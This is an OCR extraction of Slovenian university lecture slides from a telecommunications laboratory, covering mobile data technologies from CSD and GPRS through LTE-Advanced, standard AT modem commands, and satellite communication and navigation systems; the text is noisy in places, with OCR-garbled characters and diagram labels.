Posebnosti prenosa podatkov

m podatki so obéutljivi na vsak spremenjen bit
m mobilnost prinasa dodatne motnje zaradi presihov in drugih dejavnikov
m napaéen sprejem povzroc€i napaéno CRC kodo in potrebo po ponovitvi
m podatki predstavljajo digitalno vsebino

m ze pripravljen niz enic in ni€el, zunanji MODEM ni potreben

DATA »| podatkovni
vmesnik modulacija
A | izvorni kanalski o| Sifriranje | \i/
D kodirnik kodirnik signala
D le izvorni < kanalski |¢ deSifriranje
A dekodirnik dekodirnik signala
demodulacija
DATA < podatkovni
vmesnik

www.ltfe.org, Laboratorij za telekomunikacije
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m Vodovni prenos podatkov (CSD)

CSD (Circuit Switched Data)

m tokokrogovni (vodovni) prenos podatkov

m prenosno okno je zasezeno ves €as povezave
m Vtem ¢asu je povezava do terminala zasedena

m mozen le prenos signalizacije (paging)

m vzpostavljanje povezave

m podatkovni klic na skupino modemov (dial-up) Primer: operater Mobitel
Klicna Stevilka: 041 181818

odajanje uporabniskega imena in gesla
"P janje up 9 9 Uporabnisko ime: mobitel

m robustnost prenosa Geslo: internet

m osnovni: 9.600 bit/s (13,2 kbit/s zaS¢ite) Packgitsfa\zzgmg:z
= izboljsan: 14.400 bit/s (8,4 kbit/s zaséite) / PSTN N in
]
' I !

m vzporedno zdruzeni kanali (HSCSD) ~y

BSC |—| MSC/VLR {, PsPON )
- - - - Moy _,_,/
m terminali podpirajo do 3DL+1UL E |
e o ) 4 leu PAD
m najvecja hitrost znaSa 43,2 kbit/s ﬁ‘ T S o
nterworking uni

www.ltfe.org, Laboratorij za telekomunikacije 15 |
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| Paketni prenos podatkov (GPRS)

m Paketno omrezje GPRS

Storitveno |

m nadgradnja arhitekture z IP veno,
vozisge:

hrbtenico (GGSN, SGSN)

m Siritev kodirnih shem
m 9.05-21.4 od 22,8 kbit/s

m zdruZevanje ve¢ TS 7
m efektivne hitrosti od ’-"
25-100 kbit/s na RX 7

= oddaja nizja 9

W
& Fiksnok_H

{ www.Itfe.org, Laboratorij za telekomunikacije 16 |
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Q Nadgradnja paketnega prenosa (EDGE)

Shema

MCS-9
MCS-8
MCS-7
MCS-6
MCS-5
MCS-4
MCS-3
MCS-2

MCS-1

EDGE = GPRS + nove modulacije + nove sheme + novi protokoli
m DL/UL =4/1, maksimalna DL hitrost znaSa 4 x 59,2 kbit/s = 236,8 kbit/s

m DL/UL =3/2, DL znasa 177,6 kbit/s, UL hitrost pa 118,4 kbit/s
m EDGE pri operaterju SiMobil: optimalna hitrost 200 kbit/s, povpreéna 110 kbit/s

Rel. kod. Kod. hitrost Podatki (bit) Pod. hitrost

Modulaciia *\iiiost  zaglavia na radijskiblok  (Kbitis)
8-PSK 1.0 0.36 2x592 59.2
8-PSK 0.92 0.36 2x544 54 .4
8-PSK 0.76 0.36 2x448 44.8
8-PSK 0.49 1/3 592 (544+48) 29.6 (27.2)
8-PSK 0.37 1/3 448 22.4
GMSK 1.0 0.53 352 17.6
GMSK 0.80 0.53 296 (272+42) 14.8 (13.6)
GMSK 0.66 0.53 224 11.2
GMSK 0.53 0.53 176 8.8

Izbira sheme odvisna od radijskih pogojev in zahtevane kvalitete

kbit/s/TS
70,0

60,0

50,0

40,0

30,0

20,0

10,0

MCS-1 MCS-2 MCS-3 MCS-4 MCS-5 MCS-6 MCS-7 MCS-8 MCS-9

Kodna shema

> PSK

GMSK

i )

:

www.ltfe.org, Laboratorij za telekomunikacije
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| OmreZje 3G (UMTS)

Dodan nov radijski del (f = 2 GHz, B = 5 MHz, hitrost = do 384 kbit/s) e
UTRAN —

Storitveno |
vozlisge*’

Fiksno
omreZje

{ www.Itfe.org, Laboratorij za telekomunikacije 18 |
1



Visanje hitrosti v smeri navzdol (HSDPA)

Prva razvojna nadgradnja 3. generacije (3.5G) * eeles
m 3GPP Release 5 (standard sprejet leta 2005) . o eoles

m znatna pohitritev paketnega prenosa v navzdoljnji (DL) smeri

m uporaba modulacij viSje stopnje QPSK -> 16QAM

m zdruzevanje kanalskih kod (15 kod -> 14,4 Mbit/s) ( \ / \

m delitev prometa z upoStevanjem radijskih pogojev

m optimizacija pavz med oddajami in ponovitev =

Postopno visSanje hitrosti 1,8 - 14,4 Mbit/s
m zacetek v Sloveniji 09/2006 z 1,8 Mbit/s
m nadgradnja na 7,2 Mbit/s 09/2007

Podprtost terminalov
m prvo kartice (USB, miniPCI-E)

e e e . . Pokritost s signalom HSDPA 7,2 Mbit/s
m potem telefoni (tipiéna hitrost do 3,6 Mbit/s) na prostem (Vir: Mobitel, 2011)

{ www.ltfe.org, Laboratorij za telekomunikacije 19 |




| Visanje hitrosti v smeri navzgor (HSUPA)

= Druga razvojna nadgradnja 3. generacije (3.5G) i ©.... y
' Mb/s i A
m 3GPP Release 6 (standard sprejet leta 2006) T i el
o | Smbss Ll
m pohitritev paketnega prenosa v navzgornji (UL) smeri @ 920 | :L;g%ggm

m predvidene hitrosti 0,73 - 5,76 Mbit/s na uporabnika (Rel. 7 do 23 Mbit/s)
m modulacija ostaja BPSK zaradi robustnosti in skromnosti terminalov
m Ooptimizacija pavz med oddajami in ponovitev paketov

m zdruzevanje do 4 kod (hkratni sprejem 4 kanalov)

m Zacetek v Sloveniji 2007/08

m danasnje hitrosti do 2 Mbit/s

Pokrivanje s signalom HSPA in HSPA+

m skladno z obstoje¢o terminalno opremo
m podatkovne kartice, telefoni

m HSUPA podpira manj terminalov

kot HSDPA - asimetrija prenosov _ N =

=~ Vir: Mobitel, 2011

www.ltfe.org, Laboratorij za telekomunikacije 20 |
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) Najboljse ta hip (HSPA+)

= Optimizacija prenosnega omrezja (3.75G)

rate [Mbps]

DL data

m dosezena teoretiéna hitrost 21,6 Mbit/s (do 15 Mbit/s efektivno)

m uporaba neposrednih IP povezav med baznimi postajami in jedrom

m manj podpore pri terminalni opremi (le kartice)

.

&)
’l/“
Qj&

UL

5.76 Mbpsi ~12 Mbps

Pokritost s signalom HSPA+ 21,6 Mbit/s
na prostem (Vir: Mobitel, 2011)

UL data rate [Mbps] .

www.ltfe.org, Laboratorij za telekomunikacije
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Koraki napre) proti 4G (LTE)

LTE — Long Term Evolution (generacija 3.9G)

m uporaba novih tehnoloskih pristopov
m dinamiéna uporaba pasovnih Sirin od 1.25 do 20 MHz
m poveéanje spektralne uéinkovistosti za 2-4 krat glede na HSxPA
m uporaba OFDM v smeri DL in SC-FDMA v smeri UL
m uporaba QPSK, 16QAM in 64QAM modulacij

m uporaba antenskih sistemov MIMO 4x4 in SDMA loé€itve

Pricakovani rezultati ~ EEEdam ..
= vrsni hitrosti v 20 MHz kanalu v "
= DL 326.4 Mbit/s za MIMO 4x4 i 978 s/
= DL 172.8 Mbit/s za MIMO 2x2 :’ : 0 4 ”'W
= UL 86.4 Mbit/s ’%k % - ":-
« latenca pod 5 ms za kratke pakete | ............. o~
= vzpostavitev kanala: pod 100 ms e %t = %mm:;m;lmmm;ﬁ )

Vir: http:/ltemaps.org/ { www.ltfe.org, Laboratorij za telekomunikacije 22 |
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| Cetrta generacija (4G)

PriGakovanja LTE-Advanced (zaklju€evanje standardizacije 2011)
m vrSne hitrosti - DL: do 1 Gbit/s, UL: do 500 Mbps

m hitrosti na robu celice 2x LTE, povpreéno poviSanje 3x LTE
m spektralna u€inkovitost DL: 30 bit/s/Hz, UL: 15 bit/s/Hz f-\” ‘)

m uporaba DL: 8x8 in UL: 4x4 MIMO konfiguracij l SOVANGED

eT LT

Uplink Downlink

m fleksibilnost pri izrabi spektra, zaseganje do 100 MHz

m zahtevana zdruzljivost nazaj za LTE uporabnike

8 = LTE Advanced
eNodeB 4 & -
B

Five componant camiars = Total bandwidth of 100 MHz

23 |
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Uporabniki storitev

= Terminalna oprema
m velikost in oblika
m uporabniski vmesnik
m avtonomnost delovanja
m zanesljivost delovanja

m cena in dosegljivost

= Storitve in aplikacije

m odzivnost

Profili na socialnih omrezjih (SLO, 2011)

m razpolozljivost

m aktualnost

m zabavnost

m socioloski aspekt

m cena uporabe

v82 Ali imate svoj osebni profil
na katerem izmed naslednjih
socialnih omreZij? Bcbo,
. . o e . e . Faceboolk, Friends Reunited,
Trzni delezi mobilnih in tabliénih Friendster, Hal:lnbo,. HI5, ii2, LinkedIn,
R . MySpace, Netlog, Piczo, Sagazone,
naprav pri uporabi spleta (svet) Twitter, ¥anga ... 1-Ne| % |2-Dal| %
Obdobje Dele3 | Moski 277| 43,2 364| 56,8
Spo —
Avgust 2010 2,60% Zenski 184| 37,2 311| 62,8
September 2010 2,81% 10- 15 let 19| 33,9 37| 86,1
Ekmbegéuzlgm ?32: 16 - 20 let 31| 22,8 105| 77.2
ovember .
Decermber 2010 S 459, 21-25 let 55| 25,6 160| 74,4
Januar 2011 3:?9% Starost 26- 30 let 79| 34,5 1501 65,5
Februar2011 3,88% 31-35let 41| 36,6 71| 63,4
:'E‘r,?;é?il i-ggi 36 - 40 let 36| 37,1 61| 62,9
ri .

MF;j 2011 4 790, 41 - 50 let 95| 62,5 57| 37,5
JL.IFIij 2011 5:02% 51letin vet 92| 73,6 23| 26,4
Vir: NetMarketShare Vir: RIS

——
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Zivljenje brez mobilnih omrezij?

m Sodobne razvade
m “Hej, kje si?”
m “Sem ze za vogalom...”
m “Zdaj ne utegnem, te poklicem...”
m “Opomnik: Tina praznuje rojstni dan”
m “Stari, ni panike, sm povecu paket!”
m “Moj telefon ima 10M kamero, pa tvoj?”
m “Trzaska 25, kako do nje?”
m “Ali si babici ze poslala MMS?”
m “7 X8 =. pocakaj.. meni, kalkulator...”
m “Napacen PIN...”

m “Posodobljena AV zaSg¢ita na telefonu”

m “>>> Nizko stanje baterije <<<”

www.ltfe.org, Laboratorij za telekomunikacije 25 |
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| Govorne storitve

= Osnovna daljinska storitev v mobilnih omrezjin
m prenos govora preko TDM/CS omrezja (POTS, GSM, UMTS)

= Nadgradnje
m uporaba VolIP tehnologije ¢ez PS omrezja (GPRS, UMTS, WLAN)
m SKYPE, IM, Fring, Sipcall, iTalk, Fastchat

m integracija Push-to-Talk (PoC) s protokoli SIP/RTP (GPRS, UMTS, WLAN)
= integracija v nekatere 3G terminale (tipka [_O]__ ali Ead)

-l 02-UK

) +44144

SIPCALL
4MOBILE

sipeall for
ghr Mobileiesen

www.ltfe.org, Laboratorij za telekomunikacije 26 |
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| Standard VoiceXML

m Zdruzevanje spletnih aplikacij in govorne dostave vsebin
m poenostavitev klicnih centrov in pove€evanje zadovoljstva strank

m Moznosti snovanja novih oblik interaktivnih govornih aplikacij

Telefon VoiceXML Spletna stran
ponudnika storitev

bl

Operater nosilnega omrezja

= Prehod izvaja aplikacijsko kodo, dobljeno s spletnega streznika
m pPrenos se vrsSi z uporabo standardnega protokola HTTP
m prehod skrbi za pravilno naslavljanje spletnih streznikov

m prehod izvaja zajemanje in posredovanje podatkovnih datotek (npr. WAV)

{ www.Itfe.org, Laboratorij za telekomunikacije
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Sporocilne storitve SMS in MMS

Storitvena ogrodja operaterjev, primer: Mobitelova M-vrata

m primer odprte platforme za razvoj SMS storitev
m Sistem za razvijalce aplikacij

m lastna reSitev operaterja (www.m-vrata.com)

m 0osnovni namen: dostop do SMS funkcionalnosti 3rd party ponudnikom

m komunikacija temelji na izmenjavi XML sporoé€il

llllllllllllllllllllllllll ] "
XL/ : t uce/ : ﬂ \

HTTP TCPAP

(HTTPS)  dispatcher ~ cirtgr (@&

Ponudnik

i storitve
Storitve R E\
m SMS postar (@a) MSISDN ¢
m posSiljanje SMS sporoéil uporabnikom @5 "(@5;)
> A
m SMS na zahtevo MSISDN a &‘}
o
m sprejem SMS sporocil, poslanih na kljuéno besedo MSISDN b

{ www.ltfe.org, Laboratorij za telekomunikacije
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= Globalna identiteta celice s parametrom zakasnitve
m CGI, CID = Cell Global Identity
m TA =Timing Advance
m zdruzljivo z vsemi terminali brez nadgradenj

m 100 % penetracija med naroé€niki

= Delovanje metode CGI + TA

m CGl identificira celico, kjer se nahaja MS

BBBtabarmeritev CID+TA # e

m TA da oceno razdalje MS od BTS BB baznih postaj

m korak znasSa 550 metrov o Y.
Obmocje nahajanja

po metodiflCID+TA

= Natancnost metode (Sirinagpasu 550 m)

m |okacija je ocenjena s pasom negotovosti

CID=1025

m nhatanénost cca. 500 m

www.Itfe.org, Laboratorij za telekomunikacije 29 |
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| Storitev Google MyLocation

= Uporaba parametrov in razporeditve mobilnega omrezja
m telefon sprejema signale najmoénejSe bazne postaje
m Opazuje pa tudi dogajanje v sosednjih celicah
m zgradi si vzorec: MCC-MNC-LAC-CID LACS

LAC1

LACT

m Vvzorec razvrsti po jakosti signala " \

LAC4 CID]1 A CID2

m primerjava s shranjenimi posnetki omrezja

CID3

LAC2 LAC3

m dinamiéno dograjevanje od¢éitkov omrezja

MCC,MCN,
C,CID

: s Meni e
Funkcija “Netmonitor”
starih telefonov Nokia

{ www.Itfe.org, Laboratorij za telekomunikacije 30 |
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| Storitve podrocja M2M

= Sistemi avtomatskega posredovanja podatkov (stroj-stroj)

m primeri: avtomati za pija¢o, nadzorni sistemi, Stevci energije (trenutno v
veéini), avtomobilski sistemi (61% EU M2M trga v letu 2013)

Telemetry Public Traffic Services
- Utility meter reading - Traffic information Sales & Payment
- Parking meters - Electronic tolling - Vending machines
- Industrial metering - Road usage management - POS terminals

- Elevator control - Speed cameras - Gaming

- Wending machine control - Changing traffic signs - Photocopiers

Service & Maintenance
- Elevators
- Industrial machines

Security & Surveillance

- Access and mobility control

- Surveillance cameras

- Property monitoring

- Environmental and
weather monitoring

Telematics / In-vehicle
- Driver navigation

- Driver safety

- Vehicle diagnostics

- Locating services
- Traffic information

I Industrial Applications
- Process automation

Telemedicine

- Remote patient
monitoring

- Remote diagnostics

- Equipment status
tracking

- Staff scheduling

Home Applications

- Control of electrical
devices

- Door locking system
management

- Heating system control

Fleet Management
- Cargo tracking
- Route planning

- Order management Vir: http://mastec.co.nz

www.ltfe.org, Laboratorij za telekomunikacije
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m Vzpostavljanje povezav GSM/GPRS

Krmiljenje modema z ukazi AT (angl. attention)
m tipiéne povezovalne hitrosti €éez RS-232: 9,6 do 115,2 kbit/s

m tokokrogovne (CS) povezave (dial-out)

Oddaljena

ATD041181818 . ..
CONNECT (odgovor s strani modula) / Stran_ zeli
~THAL EHISIDI &I 1 V11 1%))/18U#)% « izvesti PPP

avtentikacijo
m paketne (PS) povezave (GPRS kontekst)

AT+CGDCONT=1,"IP","internet"
ATD*99***14
CONNECT (odgovor s strani modula)
~y}AL} ) 1=1ISYDY &I 1) 1) 19618)/ 8 UL % Sestavni del
m sporoéila SMS v tekstovni obliki operacijskega
sistema
AT+CMGF=1 raéunalnika

AT+CMGS="+38641654321"
> (odgovor s strani modula)
Testno posiljanje sporocilado 160 znakov.<CTRL-Z>

Mobilni prenos podatkov { www.ltfe.org, Laboratorij za telekomunikacije 32 |




l Mobilni OS in terminali

= Trenutna statistika (2011) in napovedi (2012, 2015)
m Android previaduje (43%, 49%, 49%)
m iOS (18%, 19%, 17%)
m Windows (2%, 11%, 20%)
= RIM (12%, 13%, 11%)

= Stevilo novih terminalov

Symbian
| 468M, 630M, 1105M 904

Top Five Mobile Phone Vendors, Shipments, and Market Share, @1 2011 {Units in Millions)

Q1 2011 Q1 2011 Q1 2010 Q1 2010 Year-over-
Shipment Market Shipment Market year

Vendor Volumes Share Volumes Share Change

Nokia 108.5 29.2% 107.8 34.7% 0.6%
Samsung 70.0 18.8% 64.3 20.7% 8.9%
LG Electronics 24.5 6.6% 271 B8.7% 9.6%
Apple 18.7 5.0% 8.7 2.8% 114.9%
ZTE 15.1 4.1% 10.4 3.3% 45.2% g
Others 135 36.3% 92.2 29.7% 46.4% @® Android @ Symbian Apple @ RIM
Total 371.8 100.0% 310.5 100.0% 19.8% @ Bada @ Microsoft @ Other

Source: IDC Worldwide Mobile Phone Tracker, April 28, 2011 StatIStI ka OS za 2011 Q2 (Gartner)
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Razvrstitev brezz

- |}

ICNI

h tehnologij

WGAN

BGAN Broadband Global
Area Networks

WRAN

IEEE 802.22 Wireless
Regional Area Networks

WWAN

IEEE 802.20
Mobile Broadband
Wireless Access (MBWA)

3GPP, 3GPP2
GSM, UMTS, HSxPA,
HSPA+, LTE, LTE-Advanced

WMAN

IEEE 802.16
Wireless MAN
MMDS, LMDS

ETSI HIPERMAN
& HIPERACCESS

WLAN

IEEE 802.11
Wireless LAN

ETSI
HIPERLAN

WPAN

IEEE 802.15
Bluetooth

ZigBee
UWB

WBAN
RFID NFC 7

Stacionarni in mobilni domet: nekaj 1000 km
Razli¢ne hitrosti: kbit/s do nekaj 10 Mbit/s
Pokrivanje s sateliti LEO, MEO in GEO

Stacionarni domet: do 100 km, tip. 30 km
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s
Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km
Hitrost: do 21.6 Mbit/s HSPA+
Celi¢no globalno pokrivanje
Operatersko okolje

Stacionarni in mobilni
domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s
Operatersko okolje

Nomadsko: do 500 m
Hitrost: do 150 (600) Mbit/s
Lokalno pokrivanje
Brezplacna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)
Osebno pokrivanje, brezpla¢no

www.ltfe.org, Laboratorij za telekomunikacije 2




m Neka) zgodovinskih dejstev

Zacetki

m 1957 - 4. oktober: izstrelitev prvega satelita Sputnik 1

m 1957 - 3. november: izstrelitev Sputnika 2 s psi¢ko Lajko

m 1961 - 12. april: prvi élovek v vesolju Yuri Gagarin z VOSTOK 1

m 1962 - prve telefonske in TV oddaje €ez pasivni satelit Echo 1

m 1963 - prvi aktivni satelit s prenosom v realnem €asu: Telstar 1
m 1964 - postavitev prvega GEO satelita: Syncom 3

m 1969 - 21. julij: prvi €lovek na Luni Neil Armstrong

m 1989 - izstreljen prvi satelit GPS (do danes cca. 60)

m 1997 - izstrelitev prvih satelitov IRIDIUM

||
T——

m 2000 - za€etek delovanja satelitov Globalstar in Thuraya

iy
(nan
LR i“l

m 2001 - za€etek izstreljevanja satelitov ICO/Hughes

{ www.ltfe.org, Laboratorij za telekomunikacije 3 |
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| Umestitev satelitskin komunikacij

Pokrivanje obmocij GAN (Global WAN)

m dopolnjevanje obstojeée prizemne komunikacijske infrastrukture
m pomemben €len pri optimizaciji povezljivosti “kjerkoli, kadarkoli” v omrezjih 4G
m pomembna vloga na obmogéjih brez prizemne infrastrukture
®m morja in oceani, puséave, gore
m postavitev visokih “baznih postaj”

m bolj vertikalno pokrivanje ozemlja s signalom

m dosegljivost tudi v dolinah in soteskah Rahlo ukrivljena pot
potovanja signala

3600 km

" Mednarodno
priznan zaéetek
vesolja na 100 km

www.ltfe.org, Laboratorij za telekomunikacije
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m Posebnosti satelitskih komunikacij

Podrocje pokrivanja
m odvisno od viSine in razporeditve satelitov

m iz GEO satelita se vidi skoraj 1/4 zemeljske oble

Frekvence in pasovne Sirine

m frekvence so tipiéno v obmoé€ju nekaj GHz

m uporaba Sirokopasovnih kanalov za visoke podatkovne hitrosti

Komunikacijska pot
m pogosto kratkotrajno motena z veé€jim slabljenjem

m kvaliteta prenosa je kljub temu zadovoljiva

Cena
m cena uporabe satelitskih storitev je v zadnjih 10 letih znatno padla

m tipi€na cena minute pogovora: 3-6€/min, SMS 1€

{ www.ltfe.org, Laboratorij za telekomunikacije 5 |
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Raba satelitov

= Prednostna raba za komunikacije
m Inmarsat, Globalstar, Iridium, Thuraya ...

= Lociranje in navigacija
m Navstar/GPS, Glonass

= Stevilo objektov > 10.000, 700 aktivnih

Communications 66% .

Mavigation,/Global Positioning
Technology Development

Earth Science/Meteorology

Vir: http://www.abstractatus.com/english/satellites/
Communications

Remote Sensing
Earth Observation
Earth Science
Space Physics

Surveillance

Astrophysics
Reconnaissance
Early Warning
Other

0 100

200 300 400 500 600

Uther f% Earth Science/Meteorology 5

g Astrophysics/Space Physics 5%
— Earth Observation/Remote Sensing 5%

 Miltary Surveillance 6%
/ Navigation 7%

:

www.Itfe.org, Laboratorij za telekomunikacije 6
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Gneca v vesolju

Trk satelitov COSMOS 2251 in IRIDIUM 33

m odsluzeni Cosmos (1999)
m aktivni IRIDIUM
m verjetnost 1:50 milijonov

m > 1740 razbitin

Verjetnost dogodka 1:50M  Rezultat:

i o058 1740+ razbitin
cosmos 2251 950 kg

42.120 km/h H '

102.2 d

rioiuM 33 560 kg

——

www.ltfe.org, Laboratorij za telekomunikacije
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|zstrelitev satelitov

Streljanje s topom v vodoravni smeri

m krivulja je odvisna od hitrosti izstrelka
m mala hitrost - pade na tla

m srednja hitrost - zaokrozi okrog Zemlje
m 1. kozmi€na hitrost: 7,9 km/s o0z. 28.800 km/h

m Visoka hitrost - pobegne iz Osoné€ja v vesolje
m 3. kozmi€na hitrost: 16,4 km/s 0z. 59.000 km/h

Osnovni recept
m vecéstopenjska raketa s satelitom

m primerno izstreliS€e, vreme in €as. okno
m ekvatorsko vrtenje s hitrostjo 1650 km/h
podaja nekaj za€etne energije
m tirnice z viSjo inklinacijo zahtevajo vegji

delez umetno zadane sile

4 (Cape Canaveral)
5 (Kourou - Fr. Polinezija)
14 (Baikonur)

——
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| Utirjanje satelitov v tirnice

Neposredno utirjanje

m potisk satelita neposredno na balisti€éno pot

m na ustrezni visSini se sprozi AKM (Apogee Kick Motor)

AV

Doseganje konénih tirnic s €¢im manj energije.

m Hohmannova prenosna tirnica Ve ‘3
m prehajanje iz krozne v elipti€no tirnico in nazaj N~
Hohmanﬁlova

m uporaba samo dveh dodatnih sunkov (Av) sile

prenosna tirnica

m izkoriS€anje gravitacije planetov |

Capture Orbit at 1000km | Capture Orbit ==

at 1000km M%.;;r-. \
' N

m lovljenje planetov na njihovi poti okoli Sonca Elliptical

Transfer
Orbit

L |
% /S ]
- Final Lunar
T Orbit 100km
- i

Lunar Orbit
(imitial) 200km

m ozka €asovna okna naértovane misije

Zno “ ¢no” i i Parking. ki \
m mozno “brezplaéno” potovanje po vesolju ot © x
l-.\
. . . |
m primer: sondi Voyager 1in 2 1
m http://voyager.jpl.nasa.gov/ '.. e anster +
= http://www.youtube.com/watch?v=cTIGOe5¢ckj0 ... Progress of moon in ts orbit]

{ www.Itfe.org, Laboratorij za telekomunikacije 9
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g Pot potovanja okrog Zemlje

Van Allenovi sevalni

ViSine kroznih tirnic pasovi z nabitimi
“Skodljivimi” delci
m LEO (Low Earth Orbit) ~2000-4000 km

: . _ o ~13000-25000 km
m hizka krozna zemeljska tirnica

m ViSina nad povrSjem 500-1500 km (w = 2h)
m Vveliko Stevilo satelitov z medsatelitskimi zvezami

m majhna zakasnitev signala

LEO
m MEO (Medium Earth Orbit) (Globalstar,

m srednja krozna zemeljska tirnica

m VviSina 2000-25.000 km (w = 2h-15h) !
I

m za pokrivanje potrebno okoli 12 satelitov |

. . \
= ne potrebujejo medsatelitskih povezav

m GEO (Geostationary Earth Orbit)
m geostacionarna satelitska tirnica

m ViSina 35.786 km (w =23 h 56 min 4.1 s)

-_— e =

GEO
(WAAS, Inmarsat)
N

N
N MEO (GPS)

m |. 2009: 1150 satelitov, 365 delujoé€ih ( www.Itfe.org, Laboratorij za telekomunikacije 10 |
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l Obhodni éasi in hitrosti satelitov

hitrost [ x1000 km/h]

24 ; ; obhodni
N ¢as [h]
20 — | =
o 1
6= iz T~ 3 0
———————————————————————————————— O R N D
""‘“““’E“,“,Tg“"“"“““"“““"“““"“':“, “““ 11.074 km/h
12 _.'_'_'_'_'_'_'_'_'_'_'_"_'::T_'_'Eff@_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_'_":'

0o B S
28 2 N
= " 8
i | 6
0 |
00T
10 20 30 40 x10% m

ViSina nad sredis¢em Zemlje (povrSina + 6378 km)

11

Izraéun na: http://www.csgnetwork.com/satorbdatacalc.html | www.ltfe.org, Laboratorij za telekomunikacije
.. ——————




lzkuSnje na katedri za telekomunikacije

= Mnozica sodelovanj na raznih projektih

m laboratorij LSO, prof. dr. Matjaz Vidmar

www.ltfe.org, Laboratorij za telekomunikacije
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Maritime

m 12 satelitov GEO na viSini 35.786 km,

Internationa

¢no pomoc¢ v sili

w

w

- Global Maritime Distress Safety System - prioritetna komunikacija v sili

m zagotavlja komercialne storitve in javno brezpla
m GMDSS
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EIRP 67 dBW The map depicts Inmarsat’s expectations of coverage but

FlInmarsat-4 64°E

does not represent 2 puarancee of service, The availabilizy

of pervice at the edge of coverage areas fluctume depending

upon a variety of conditions. The launch of the F-3 satellite

will be determined in due cowrse,

F2 Inmarsat-4 53°W
F3 Inmarsat-4 |78°E

m 492 kbit/s - paketni prenos (PS)
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| Iridium iridium

= Prvi poskus zagotavljanja globalne satelitske telefonije 1998

m leta 2001 ponovno ozivetje projekta s kapitalom 6 mrd. $

m danasnje trziS¢e obsega 320.000 uporabnikov po celem svetu
m 66 LEO satelitov na viSini 780 kilometrov s hitrostjo 27340 km/h

m pokrivanje celotne zemeljske oble s skoraj polarno tirnico

m za celoten prelet Zemlje potrebuje satelit samo 100 minut

= Vrste storitev

m govorne in podatkovne storitve
m delovanje s hitrostmi od 2.2 do 3.8 kbit/s
m omogocen prenos IP do 10 kbit/s
m dosezena latenca 1800 ms
m sporocilne in enosmerne paging storitve
m poSiljanje SBD (Short Burst Data)
m sporoéila <2 kB s éasom prenosa
od 6 do 22 sekund

www.ltfe.org, Laboratorij za telekomunikacije 14 |
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m Zacetek uporabe leta 1999, iste za€etne tezave kot Iridium
m 48 LEO satelitov na visini 1414 km z nagibom 56 stopinj

m danasnje trziS€e obsega preko 320.000 uporabnikov

= Vrste storitev

m preusmeritev klica @
m zapora za klice
m klic v sili

m prenos kratkih sporog€il (SMS)
m telefonski predal (VMS)

m prenos faksimilnih sporogil

m prenos podatkov do 56 kbit/s
m Cakajoéi klic

m zadrzanje zveze

{ www.ltfe.org, Laboratorij za telekomunikacije 15 |
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[ 1l

| Thuraya THURAYA

Regionalni ponudnik satelitske telefonije z GEO sateliti

m postavitev sistema do leta 2008 s cca. 360.000 uporabnikov

m pokrivanje “sumljivin” dezel: oprijeto ime “the terrorists phone of choice”

Vrste storitev

= govorne storitve RS
m prenos kratkih sporo€il SMS
m prenos podatkov -

m 9.6 kbit/s za podatke in faks | e g =
m 60/15 kbit/s DL/UL za GmPRS podatke | B o o e BB ~3

m 144 kbit/s z uporabo prenosnih terminalov
m podpora GPS na vseh terminalih

m podpora vec storitvam: predal, WAP, “Prayer service”

m klici v sili z natan€énim sporoéanjem lokacije -

{ www.ltfe.org, Laboratorij za telekomunikacije 16 |
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= Prednosti

m pokrivanje zelo velikih geografskih obmocij

m premoscanje nepokritih podrocij

m cenovna politika neodvisna od razdalje oz. lokacije klica

m Moznost sprejema broadcast sporogil

m Kopica moznih storitev s podro¢ja zascite in reSevanja

s Slabosti
m Vveliki stroski vzpostavitve sistema
m motnje v komunikaciji in zakasnitve

m zasedenost frekvenc in tirnic

m Vv vec€ini potrebna vidnost prostega neba

m slaba razpolozljivost terminalne opreme

in dostopa do tehnologije

| Prednosti in slabosti sat. komunikacij

4

2

 Mobility

Data Capability

www.ltfe.org, Laboratorij za telekomunikacije
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| Satelitsko lociranje in navigacija

= Lociranje, navigacija in ... mobilni prenos podatkov
m lociranje: kje sem, Kkje je ...; X=14.489806, Y=46.046645, Trzaska 25, Ljubljana
m navigacija: kako priti do ...; oddaljenost 130 metrov, €ez 50 m zavijte levo

m brezziéni prenos podatkov: izboljSanje natanénosti, aktualni zemljevidi ...
w—=x

| )
____________________________________ S
e TR e N
Z@S;/jzo'@r L A \/
1y i kg, i
odal‘n/hujlheg | Akt u a|_n i
avoo’// Zeml]eVId 7
oznacéenimi
izrednimi
oo
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| Zapisi koordinat

m Zemljepisna dolzina oziroma longituda

m smer vzhod-zahod, obseg med -180°in +180

66°33' severno

i geverni tedajnik

60°

severni (rakov)
—\ povratnik 23:27

m Greenwich — glavni meridian 0°

» Zemljepisna Sirina oz. latituda
m Smer sever-jug, obseg med -90°in +90°

m ekvator — zaznamuje izhodis€e 0°

= Formati zapisov Zemia___
s WGS-84 lrf \f Boccelon
m Gauss-Kruger (D-48) _/

m ravninske koordinate
P N
m elipsoidne koordinate FN Fizicna Zemlja

m decimalni zapisi

Geoid Elipsoid

j ;ﬁ/w“

60

........

150 120 81 B0 30 O 30 B0 80 120 150 180

Upodobitev ~ *(M| | | | —
ukrivljene AR
Zemeljske ploskve Ve S - o< o
v ravnini SN T
Driavni k.s. ' N N
Gauss-Kruegerjev S R

" - —— |-H, i, T

Tt A T
P {,Tr.r }{.. H} - ' .
ravninske keordinate Y (E)

F (e, 2, h) -

elipsoidne (geografske)
koordinate

AR 4 e [T Pl e e e
- Mt ik | ]-\ ﬁ‘w =% | ekvator
e T | FUEE . | R T
T R b F| = [ ke | mhetllw dJ0

o povratnik 2327
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| Nabor satelitskih lokacijskih sistemov

Predstavniki
m TRANSIT (predhodnik sistema GPS)

m sistem, ki je bil v delovanju od 1960 do konca 1996

m NAVSTAR - GPS (Global Positioning System)

m zasnovan v za€etku 70-ih let s strani ameriSke vojske

m GLONASS (Global'naya Navigatsionnaya Sputnikovaya Sistema)
m zasnovan v 80-ih letih s strani Sovjetske Zveze kot protiutez GPS-u

m WAAS (Wide Area Augmentation System) \ //
m dopolnilni sistem sistema GPS/GALILEO

m GALILEO
m evropski civilni sistem navigacijskih satelitov predviden v letu 2013

m Beidou/COMPASS
m Kitajski civilni sistem MEO/GEO satelitov, predviden v letu 2015

m QZSS (Quasi-Zenith Satellite System)
[
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| Sestava sistema GPS

Vesoljski segment
|
|
m razvrséeni so v 6 orbitalnih ravnin

Kontrolni segment
m glavna kontrola je v ZDA
